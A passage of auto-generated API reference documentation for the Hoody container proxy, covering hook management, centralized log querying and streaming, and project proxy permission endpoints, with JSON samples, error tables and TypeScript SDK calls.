| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |



### SDK

```ts
const { data } = await client.api.proxyHooks.listContainerProxyHooks({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
});
```

---

## List hooks for a service

`GET /api/v1/containers/{id}/proxy/hooks/{service}`

Returns the ordered hook array for a single service. Within the list, evaluation is first-match-wins by `position` order.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |

### Response



```json
{
  "statusCode": 200,
  "message": "Service hooks listed successfully",
  "data": {
    "service": "auth",
    "hooks": [
      {
        "id": "01hz8x9k2b3c4d5e6f7g8h9j0k",
        "position": 0,
        "match": {
          "method": ["POST", "PUT"],
          "path": "/v1/login",
          "headers": {
            "x-tenant": "acme"
          }
        },
        "script": {
          "subdomain": "hooks",
          "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
          "path": "/hooks/login-trace.js"
        },
        "timeout": 5000,
        "applies_to": {
          "groups": ["admins", "sre"]
        }
      }
    ],
    "file_version": 42,
    "etag": "file:v42"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |



### SDK

```ts
const { data } = await client.api.proxyHooks.listContainerProxyServiceHooks({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
});
```

---

## Get a single hook

`GET /api/v1/containers/{id}/proxy/hooks/{service}/{hookId}`

Returns the hook identified by `hookId` under the given service.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |
| `hookId` | path | string | Yes | 26-char Crockford base32 ULID (lowercase) |

### Response



```json
{
  "statusCode": 200,
  "message": "Hook retrieved successfully",
  "data": {
    "hook": {
      "id": "01hz8x9k2b3c4d5e6f7g8h9j0k",
      "position": 0,
      "match": {
        "method": "*",
        "path": "/v1/login",
        "headers": {
          "x-tenant": "acme"
        }
      },
      "script": {
        "subdomain": "hooks",
        "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
        "path": "/hooks/login-trace.js"
      },
      "timeout": 5000,
      "applies_to": {
        "groups": ["admins"]
      }
    },
    "file_version": 42,
    "etag": "file:v42"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |



### SDK

```ts
const { data } = await client.api.proxyHooks.getContainerProxyHook({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
  hookId: "01hz8x9k2b3c4d5e6f7g8h9j0k",
});
```

---

## Append or insert a new hook

`POST /api/v1/containers/{id}/proxy/hooks/{service}`

Creates a new hook under the given service. Omit `position` to append; supply a 0-indexed `position` to insert. Requires `If-Match: file:v`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |
| `if-match` | header | string | No | file:v&lt;N&gt; ETag precondition |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `match` | object | Yes | Request matcher. Contains `method` (string or array of strings from `*`, `GET`, `POST`, `PUT`, `PATCH`, `DELETE`, `HEAD`, `OPTIONS`), `path` (string, max 257 chars), and `headers` (object of string values). |
| `script` | object | Yes | Script reference. `path` is required; optionally `subdomain` and `execId`. |
| `timeout` | integer | No | Execution timeout in ms (1–30000). |
| `applies_to` | object | No | Restriction object. `groups` is an array of group name strings (min 1). |
| `position` | integer | No | 0-indexed insertion position (POST only). |

```json
{
  "match": {
    "method": "POST",
    "path": "/v1/login",
    "headers": {
      "x-tenant": "acme"
    }
  },
  "script": {
    "subdomain": "hooks",
    "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
    "path": "/hooks/login-trace.js"
  },
  "timeout": 5000,
  "applies_to": {
    "groups": ["admins"]
  }
}
```

### Response



```json
{
  "statusCode": 201,
  "message": "Hook created successfully",
  "data": {
    "hook": {
      "id": "01hz8x9k2b3c4d5e6f7g8h9j0k",
      "position": 0,
      "match": {
        "method": "POST",
        "path": "/v1/login",
        "headers": {
          "x-tenant": "acme"
        }
      },
      "script": {
        "subdomain": "hooks",
        "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
        "path": "/hooks/login-trace.js"
      },
      "timeout": 5000,
      "applies_to": {
        "groups": ["admins"]
      }
    },
    "file_version": 43,
    "etag": "file:v43"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |


```json
{
  "statusCode": 412,
  "error": "Precondition Failed",
  "message": "etag_mismatch"
}
```



```json
{
  "statusCode": 422,
  "error": "Validation Error",
  "message": "Invalid hook"
}
```



```json
{
  "statusCode": 428,
  "error": "Precondition Required",
  "message": "If-Match header required for this operation"
}
```




### SDK

```ts
const { data } = await client.api.proxyHooks.addContainerProxyHook({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
  "if-match": "file:v42",
  data: {
    match: { method: "POST", path: "/v1/login" },
    script: { path: "/hooks/login-trace.js" },
    timeout: 5000,
  },
});
```

---

## Replace a hook in place

`PATCH /api/v1/containers/{id}/proxy/hooks/{service}/{hookId}`

Full-replaces the hook at the given id, preserving its `id` and `position`. Requires `If-Match`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |
| `hookId` | path | string | Yes | 26-char Crockford base32 ULID (lowercase) |
| `if-match` | header | string | No | file:v&lt;N&gt; ETag precondition |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `match` | object | Yes | Request matcher. Contains `method` (string or array of strings from `*`, `GET`, `POST`, `PUT`, `PATCH`, `DELETE`, `HEAD`, `OPTIONS`), `path` (string, max 257 chars), and `headers` (object of string values). |
| `script` | object | Yes | Script reference. `path` is required; optionally `subdomain` and `execId`. |
| `timeout` | integer | No | Execution timeout in ms (1–30000). |
| `applies_to` | object | No | Restriction object. `groups` is an array of group name strings (min 1). |
| `position` | integer | No | 0-indexed insertion position (POST only). |

```json
{
  "match": {
    "method": "POST",
    "path": "/v1/login",
    "headers": {
      "x-tenant": "acme"
    }
  },
  "script": {
    "subdomain": "hooks",
    "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
    "path": "/hooks/login-trace.js"
  },
  "timeout": 5000,
  "applies_to": {
    "groups": ["admins"]
  }
}
```

### Response



```json
{
  "statusCode": 200,
  "message": "Hook updated successfully",
  "data": {
    "hook": {
      "id": "01hz8x9k2b3c4d5e6f7g8h9j0k",
      "position": 0,
      "match": {
        "method": "POST",
        "path": "/v1/login",
        "headers": {
          "x-tenant": "acme"
        }
      },
      "script": {
        "subdomain": "hooks",
        "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
        "path": "/hooks/login-trace.js"
      },
      "timeout": 5000,
      "applies_to": {
        "groups": ["admins"]
      }
    },
    "file_version": 43,
    "etag": "file:v43"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |


```json
{
  "statusCode": 412,
  "error": "Precondition Failed",
  "message": "etag_mismatch"
}
```



```json
{
  "statusCode": 422,
  "error": "Validation Error",
  "message": "Invalid hook"
}
```



```json
{
  "statusCode": 428,
  "error": "Precondition Required",
  "message": "If-Match header required for this operation"
}
```




### SDK

```ts
const { data } = await client.api.proxyHooks.updateContainerProxyHook({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
  hookId: "01hz8x9k2b3c4d5e6f7g8h9j0k",
  "if-match": "file:v42",
  data: {
    match: { method: "POST", path: "/v1/login" },
    script: { path: "/hooks/login-trace.js" },
    timeout: 5000,
  },
});
```

---

## Move a hook to a new position

`PATCH /api/v1/containers/{id}/proxy/hooks/{service}/{hookId}/position`

Atomically reorders a single hook. Body must contain the target `position`. Requires `If-Match`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |
| `hookId` | path | string | Yes | 26-char Crockford base32 ULID (lowercase) |
| `if-match` | header | string | No | file:v&lt;N&gt; ETag precondition |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `position` | integer | Yes | 0-indexed target position. |

```json
{
  "position": 2
}
```

### Response



```json
{
  "statusCode": 200,
  "message": "Hook moved successfully",
  "data": {
    "hook": {
      "id": "01hz8x9k2b3c4d5e6f7g8h9j0k",
      "position": 2,
      "match": {
        "method": "POST",
        "path": "/v1/login",
        "headers": {
          "x-tenant": "acme"
        }
      },
      "script": {
        "subdomain": "hooks",
        "execId": "exec_01hz8x9k2b3c4d5e6f7g8h9j0k",
        "path": "/hooks/login-trace.js"
      },
      "timeout": 5000,
      "applies_to": {
        "groups": ["admins", "sre"]
      }
    },
    "file_version": 43,
    "etag": "file:v43"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |


```json
{
  "statusCode": 412,
  "error": "Precondition Failed",
  "message": "etag_mismatch"
}
```



```json
{
  "statusCode": 428,
  "error": "Precondition Required",
  "message": "If-Match header required for this operation"
}
```




### SDK

```ts
const { data } = await client.api.proxyHooks.moveContainerProxyHook({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
  hookId: "01hz8x9k2b3c4d5e6f7g8h9j0k",
  "if-match": "file:v42",
  data: { position: 2 },
});
```

---

## Clear all hooks for a service

`DELETE /api/v1/containers/{id}/proxy/hooks/{service}`

Removes every hook under the given service. Requires `If-Match`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |
| `if-match` | header | string | No | file:v&lt;N&gt; ETag precondition |

### Response



```json
{
  "statusCode": 200,
  "message": "Service hooks cleared",
  "data": {
    "removed": 3,
    "file_version": 44,
    "etag": "file:v44"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |


```json
{
  "statusCode": 412,
  "error": "Precondition Failed",
  "message": "etag_mismatch"
}
```



```json
{
  "statusCode": 428,
  "error": "Precondition Required",
  "message": "If-Match header required for this operation"
}
```




### SDK

```ts
const { data } = await client.api.proxyHooks.clearContainerProxyServiceHooks({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
  "if-match": "file:v42",
});
```

---

## Remove a single hook

`DELETE /api/v1/containers/{id}/proxy/hooks/{service}/{hookId}`

Deletes a single hook by id. Requires `If-Match`.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `service` | path | string | Yes | Service name |
| `hookId` | path | string | Yes | 26-char Crockford base32 ULID (lowercase) |
| `if-match` | header | string | No | file:v&lt;N&gt; ETag precondition |

### Response



```json
{
  "statusCode": 200,
  "message": "Hook removed successfully",
  "data": {
    "file_version": 44,
    "etag": "file:v44"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Resource not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Hook or service not found | The hook id, service, or container does not exist, or the service is reject-listed | Verify the service name is not reject-listed (logs, proxy, workspaces) and that the hook id exists |
| `VALIDATION_ERROR` | Validation error | Request body violates hook schema, caps, or referential integrity | Check error details and correct the body shape; ensure applies_to.groups references defined groups |
| `PRECONDITION_REQUIRED` | If-Match required | Destructive writes require an If-Match: file:v&lt;N&gt; header | Fetch the resource first to obtain the ETag and resend with If-Match |
| `PRECONDITION_FAILED` | ETag mismatch | The If-Match header does not match the current file_version | Re-fetch the resource to get the current ETag and retry |


```json
{
  "statusCode": 412,
  "error": "Precondition Failed",
  "message": "etag_mismatch"
}
```



```json
{
  "statusCode": 428,
  "error": "Precondition Required",
  "message": "If-Match header required for this operation"
}
```




### SDK

```ts
await client.api.proxyHooks.removeContainerProxyHook({
  id: "container_01hz8x9k2b3c4d5e6f7g8h9j0k",
  service: "auth",
  hookId: "01hz8x9k2b3c4d5e6f7g8h9j0k",
  "if-match": "file:v42",
});
```

---

# ProxyLogs:logs-config

**Page:** api/proxy-logs-logs-config

[Download Raw Markdown](./api/proxy-logs-logs-config.md)

---

## API Endpoints Summary

- **GET** `/_logs/config` — Get logging configuration
- **PUT** `/_logs/config` — Update logging configuration

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# ProxyLogs:logs

**Page:** api/proxy-logs-logs

[Download Raw Markdown](./api/proxy-logs-logs.md)

---

## API Endpoints Summary

- **GET** `/_logs` — Query centralized logs
- **DELETE** `/_logs` — Clear all logs
- **GET** `/_logs/stats` — Get log statistics
- **GET** `/_logs/export` — Export logs as NDJSON

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# ProxyLogs:maintenance

**Page:** api/proxy-logs-maintenance

[Download Raw Markdown](./api/proxy-logs-maintenance.md)

---

## API Endpoints Summary

- **GET** `/_logs/health` — Check database health

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# ProxyLogs:routing

**Page:** api/proxy-logs-routing

[Download Raw Markdown](./api/proxy-logs-routing.md)

---

## API Endpoints Summary

- **GET** `/` — Build target URL via query parameters
- **POST** `/` — Build target URL for a container service

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Proxy Logs

**Page:** api/proxy-logs

[Download Raw Markdown](./api/proxy-logs.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Logs

The Logs endpoints let you search, aggregate, and live-tail the centralized request, response, and event logs captured by the proxy. Use these when you need to investigate traffic, build dashboards, or stream new entries into an external system.

## Query centralized logs

Search and filter the stored request/response and event logs. Supports pagination, level filtering, cross-tenant fanout (admin only), and row-cursor streaming.

`GET /api/proxy-logs/_logs`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `limit` | query | integer | No | Max entries to return (default: 200) |
| `offset` | query | integer | No | Entries to skip (default: 0) |
| `projectId` | query | string | No | Restrict to a single project |
| `containerId` | query | string | No | Restrict to a single container |
| `serviceName` | query | string | No | Restrict to a single service name |
| `level` | query | string | No | Comma-separated levels (debug,info,warn,error) |
| `includeRequestBody` | query | boolean | No | Include captured request bodies (default: false) |
| `includeResponseBody` | query | boolean | No | Include captured response bodies (default: false) |
| `last` | query | integer | No | Return only the last N entries |
| `afterId` | query | integer | No | Return entries with SQLite row ID greater than this (ASC cursor) |
| `cursor` | query | string | No | v8 §5.2 — cross-tenant fanout pagination cursor (signed opaque base64). Only honored when `LOGS_ADMIN_FANOUT=true` |
| `kind` | query | string | No | One of: `request`, `response`, `event` |
| `method` | query | string | No | HTTP method filter (e.g. `GET`, `POST`) |
| `source` | query | string | No | One of: `backend`, `edge` |


Scoped reads return JSON. When `LOGS_ADMIN_FANOUT=true` the response switches to NDJSON streaming and ends with a trailer line: `{"__trailer": true, "cursor": "...", "stoppedReason": "..."}`.


### Response



```json
{
  "entries": [
    {
      "id": 84321,
      "traceId": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
      "tsMs": 1718201234000,
      "tsIso": "2024-06-12T14:33:54.000Z",
      "kind": "request",
      "level": "info",
      "projectId": "proj_a1b2c3d4",
      "containerId": "cnt_x9y8z7w6",
      "serviceName": "user-api",
      "method": "POST",
      "url": "/v1/users",
      "clientIp": "203.0.113.42",
      "status": 201,
      "data": {"bytesIn": 412, "userAgent": "Hoody-CLI/1.4.2"},
      "source": "backend"
    },
    {
      "id": 84322,
      "traceId": "f47ac10b-58cc-4372-a567-0e02b2c3d480",
      "tsMs": 1718201234102,
      "tsIso": "2024-06-12T14:33:54.102Z",
      "kind": "response",
      "level": "info",
      "projectId": "proj_a1b2c3d4",
      "containerId": "cnt_x9y8z7w6",
      "serviceName": "user-api",
      "method": "POST",
      "url": "/v1/users",
      "clientIp": "203.0.113.42",
      "status": 201,
      "data": {"bytesOut": 318, "durationMs": 102},
      "source": "backend"
    }
  ],
  "total": 1284,
  "limit": 200,
  "offset": 0
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Caller is not permitted to read logs for this scope"
}
```


```json
{"__trailer": true, "error": "snapshot_expired", "status": 410}
```



### SDK usage

```ts
const page = await client.proxyLogs.logs.listIterator({
  projectId: "proj_a1b2c3d4",
  level: "warn,error",
  limit: 100,
});
for await (const entry of page) {
  console.log(entry.traceId, entry.level, entry.url);
}
```

## Get log statistics

Returns aggregate counts across level, project, container, and service dimensions. Useful for building dashboards or sizing retention.

`GET /api/proxy-logs/_logs/stats`

This endpoint takes no parameters.

### Response



```json
{
  "total": 8421,
  "byLevel": {"info": 6200, "warn": 1500, "error": 521, "debug": 200},
  "byProject": {"proj_a1b2c3d4": 5000, "proj_e5f6g7h8": 3421},
  "byContainer": {"cnt_x9y8z7w6": 3000, "cnt_m5n6o7p8": 5421},
  "byService": {"user-api": 4200, "billing-api": 2100, "webhook-svc": 2121}
}
```



### SDK usage

```ts
const stats = await client.proxyLogs.logs.getStats();
console.log("Total entries:", stats.total);
console.log("Errors:", stats.byLevel.error);
```

## Live-tail logs over SSE

Opens a persistent Server-Sent Events connection streaming new log entries as they are written. Each frame carries an `id: <ringSeq>` line for resumable reconnect.

`GET /api/proxy-logs/_logs/stream`

**v8 §6.4 framing** — every frame carries an `id: <ringSeq>` line:

```
id: 12345
data: {"id":84321,"kind":"request","level":"info",...}

```

**Reconnect resume** — clients MAY send `Last-Event-ID: <ringSeq>` on reconnect; the server skips any frame with `ringSeq <= Last-Event-ID` from the ring buffer (5000 entries / ~50 s replay window at 100 entries/s).

**Named events** (v8):
- `event: scope-destroyed` — container destroyed; stream closes immediately after. Clients should exit cleanly.
- `event: reset` — server restart; `ringSeq` counter reset with a ≥10 000 safety margin. Clients MUST discard their `lastSeenId` and reconnect fresh.

Periodic `:\n\n` heartbeats every 15s keep the connection alive.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `projectId` | query | string | No | Filter to a single project (admin-port only; SNI clients are auto-scoped) |
| `containerId` | query | string | No | Filter to a single container |
| `kind` | query | string | No | One of: `request`, `response`, `event` |
| `level` | query | string | No | One of: `debug`, `info`, `warn`, `error` |
| `Last-Event-ID` | header | string | No | v8 §6.4 — numeric ringSeq of the last event received. Server skips entries ≤ this value from the ring buffer on reconnect. |

### Response



```
HTTP/1.1 200 OK
Content-Type: text/event-stream
Cache-Control: no-cache
Connection: keep-alive

id: 12345
data: {"id":84321,"traceId":"f47ac10b-58cc-4372-a567-0e02b2c3d479","tsMs":1718201234000,"kind":"request","level":"info","method":"POST","url":"/v1/users","status":201,"source":"backend"}

id: 12346
data: {"id":84322,"traceId":"f47ac10b-58cc-4372-a567-0e02b2c3d480","tsMs":1718201234102,"kind":"response","level":"info","method":"POST","url":"/v1/users","status":201,"source":"backend"}

:

```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Logs token missing or invalid / SNI gate denied"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Rate limit exceeded for log stream"
}
```



### SDK usage

```ts
const stream = await client.proxyLogs.logs.streamLogs({
  projectId: "proj_a1b2c3d4",
  level: "error",
});

for await (const frame of stream) {
  if (frame.event === "scope-destroyed") break;
  if (frame.event === "reset") {
    // discard lastSeenId and reconnect fresh
    continue;
  }
  console.log(frame.id, frame.data);
}
```

---

# Proxy Permissions

**Page:** api/proxy-permissions

[Download Raw Markdown](./api/proxy-permissions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Proxy permissions define how the Hoody proxy layer authenticates incoming requests and routes them to container programs. A permissions file is a JSON document containing authentication groups (JWT, password, IP, or token), per-group program access rules, and a default deny/allow policy. Project-level permissions apply to every container in the project; container-level permissions override or extend them. Use these endpoints to read, replace, or surgically update these documents. Write operations require an `If-Match: file:v` precondition header (read the current `file_version` via `GET` first) — the server returns `428` if the header is absent and `412` if the version is stale.


The `access` field on a program permission is a **rule defining what is allowed**, not a list of what currently exists. Values: `true`/`false` (allow/deny all), a single port number, an array of port numbers, a port range string like `"8000-8100"`, or the wildcard `"*"`.


## Project proxy permissions

### `GET /api/v1/projects/{id}/proxy/permissions`

Retrieve the complete proxy access control configuration for a project, including authentication groups, program permissions, and default policy.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |

#### SDK

```ts
const { data } = await client.api.proxyPermissionsProject.get({ id: "507f1f77bcf86cd799439011" });
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Project proxy permissions retrieved successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The specified project ID does not exist or you do not have access to it | Verify the project ID is correct and that you have permission to access this project |



---

### `PATCH /api/v1/projects/{id}/proxy/permissions`

Replace the entire proxy permissions configuration for a project. Requires `If-Match: file:v` (428 when absent, 412 when stale).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `project` | string | Yes | Project ID (must match path `:id`) |
| `groups` | object | Yes | Authentication groups. Key is group name, value is group config. |
| `permissions` | object | Yes | Per-group program permissions. Key is group name, value is map of program → access rule. |
| `default` | string | No | Default access policy when no rules match. One of `"allow"`, `"deny"`. Defaults to `"deny"`. |
| `enable_proxy` | boolean | No | Enable or disable the proxy. Defaults to `true`. |

The `groups` values may include the following auth-type-specific fields:

- **JWT** (`type: "jwt"`): `secret`, `algorithm` (`"HS256"` | `"RS256"` | `"ES256"`), `sources` (e.g. `["header:Authorization"]`), `claims` (optional required claim values).
- **Password** (`type: "password"`): `username`, `password`, `salt`, `algorithm` (`"sha256"`).
- **IP** (`type: "ip"`): `range` (IPv4 CIDR).
- **Token** (`type: "token"`): `header` + `value`, or `cookie` + `value`, or `param` + `value`.

The `permissions` values are access rules per program name (`terminal`, `files`, `ui`, `exec`, etc.). See the note above for the `access` rule grammar.

#### SDK

```ts
await client.api.proxyPermissionsProject.replace({
  id: "507f1f77bcf86cd799439011",
  ifMatch: "file:v3",
  data: {
    project: "507f1f77bcf86cd799439011",
    groups: {
      admin: { type: "jwt", algorithm: "HS256", secret: "shhh", sources: ["header:Authorization"] }
    },
    permissions: {
      admin: { terminal: [1, 2], files: true }
    },
    default: "deny",
    enable_proxy: true
  }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Project proxy permissions updated successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {
      "admin": { "type": "jwt", "algorithm": "HS256" }
    },
    "permissions": {
      "admin": { "terminal": true, "files": true }
    },
    "default": "deny",
    "enable_proxy": true
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid permissions configuration"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | The proxy permissions configuration contains invalid data or missing required fields | Check that all required fields are present and properly formatted according to the schema |
| `INVALID_JWT_CONFIG` | Invalid JWT configuration | JWT authentication group has invalid secret, algorithm, or sources configuration | Ensure JWT secret is valid for the algorithm, sources are properly formatted, and claims are scalar values |
| `INVALID_IP_RANGE` | Invalid IP CIDR range | IP authentication group has an invalid IPv4 CIDR notation | Use valid IPv4 CIDR format like `"192.168.1.0/24"` or `"10.0.0.1/32"` |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project not found | The specified project ID does not exist or you do not have access to it | Verify the project ID is correct and that you have permission to access this project |



---

### `PATCH /api/v1/projects/{id}/proxy/permissions/default`

Update the default access policy (`"allow"` or `"deny"`) that applies when a request does not match any authentication group rules.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Project ID |
| `if-match` | header | string | No | `file:v` ETag precondition — read current `file_version` from `GET` first |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `default` | string | Yes | Default access policy for unmatched requests. One of `"allow"`, `"deny"`. |

#### SDK

```ts
await client.api.proxyPermissionsProject.updateDefault({
  id: "507f1f77bcf86cd799439011",
  ifMatch: "file:v3",
  data: { default: "deny" }
});
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Default policy updated successfully",
  "data": {
    "project": "507f1f77bcf86cd799439011",
    "groups": {},
    "permissions": {},
    "default": "deny"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid default policy value"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid default policy | The default policy must be either `"allow"` or `"deny"` | Provide a valid default value: `"allow"` or `"deny"` |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Project not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
